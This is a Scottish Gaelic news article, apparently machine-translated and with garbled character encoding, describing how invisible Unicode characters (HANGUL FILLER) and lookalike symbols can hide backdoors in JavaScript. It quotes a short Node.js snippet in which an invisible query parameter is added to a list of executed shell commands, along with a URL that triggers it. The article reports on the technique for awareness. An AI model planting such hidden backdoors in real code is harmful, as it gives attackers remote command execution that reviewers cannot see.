Ăs deidh modh ionnsaigh Trojan Source stèidhichte air cleachdadh charactaran Unicode a dh âatharraicheas òrdugh taisbeanaidh teacsa dĂ -thaobhach, chaidh innleachd eile airson gnĂŹomhan falaichte a thoirt a-steach fhoillseachadh, aâ buntainn ri còd JavaScript. Tha an dòigh Ăšr stèidhichte air cleachdadh a 'charactar Unicode "ă ¤" (còd 0x3164, "HANGUL FILLER"), a tha na litir ach aig nach eil susbaint follaiseach. Chaidh an roinn Unicode dham buin an caractar seo a cheadachadh bho shònrachadh ECMAScript 2015 airson a chleachdadh ann an ainmean caochlaideach JavaScript, a tha ga dhèanamh comasach caochladairean neo-fhaicsinneach no caochladairean Ăšra a chruthachadh nach gabh aithneachadh bho chaochladairean eile ann an luchd-deasachaidh còd mòr-chòrdte leithid Notepad ++ agus Còd VS.
Mar eisimpleir, tha an còd airson an Ă rd-Ăšrlar Node.js air a thoirt seachad, anns a bheil, le bhith aâ cleachdadh caochladair anns a bheil aon charactar âă ¤â, cĂšl-raon falaichte a leigeas leat an còd a shònraich an neach-ionnsaigh a chuir an gnĂŹomh: app.get( '/network_health', async (req, res) => {const { timeout, ă ¤} = req.query; // gu dearbh ag rĂ dh "const { timeout, ă ¤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/', ă ¤ // cromag air a leantainn le \u3164 ];
Aig aâ chiad sealladh, chan eil ach an luach Ăšine air a dhol tron ââââpharamadair taobh a-muigh, agus tha liosta stèidhichte gun chron anns an raon leis na h-òrdughan a thèid a chuir an gnĂŹomh. Ach gu dearbh, Ă s deidh an caochladair Ăšine, tha luach caochladair neo-fhaicsinneach eile leis aâ chòd samhla \u3164 air a shònrachadh, a tha cuideachd air a chuir a-steach don raon de òrdughan so-ghnĂŹomhaichte. Mar sin, an lĂ thair an leithid de structar, faodaidh neach-ionnsaigh iarrtas mar âhttps://host: 8080/network_health?%E3%85%A4=commandâ a chuir a-steach gus an backdoor a chuir an gnĂŹomh agus a chòd a chuir an gnĂŹomh.
Mar eisimpleir eile, tha an caractar âÇâ (ALVEOLAR CLICK) air a thoirt seachad, a dhâ fhaodar a chleachdadh gus coltas comharra exclamation a chomharrachadh. Mar eisimpleir, bidh an abairt âif (environmentÇ=ENV_PROD){â nuair a thèid a chur gu bĂ s ann an Node.js 14 an-còmhnaidh fĂŹor, leis nach eil e aâ sgrĂšdadh airson eadar-dhealachaidhean, ach aâ suidheachadh an caochladair âĂ rainneachdÇâ gu ENV_PROD. Am measg nan caractaran unicode meallta tha âďźâ, âââ, âďźâ, â⊾â, ââ¨â, â⍽â, âężâ, agus âââ.
Source: fosgailtenet.ru
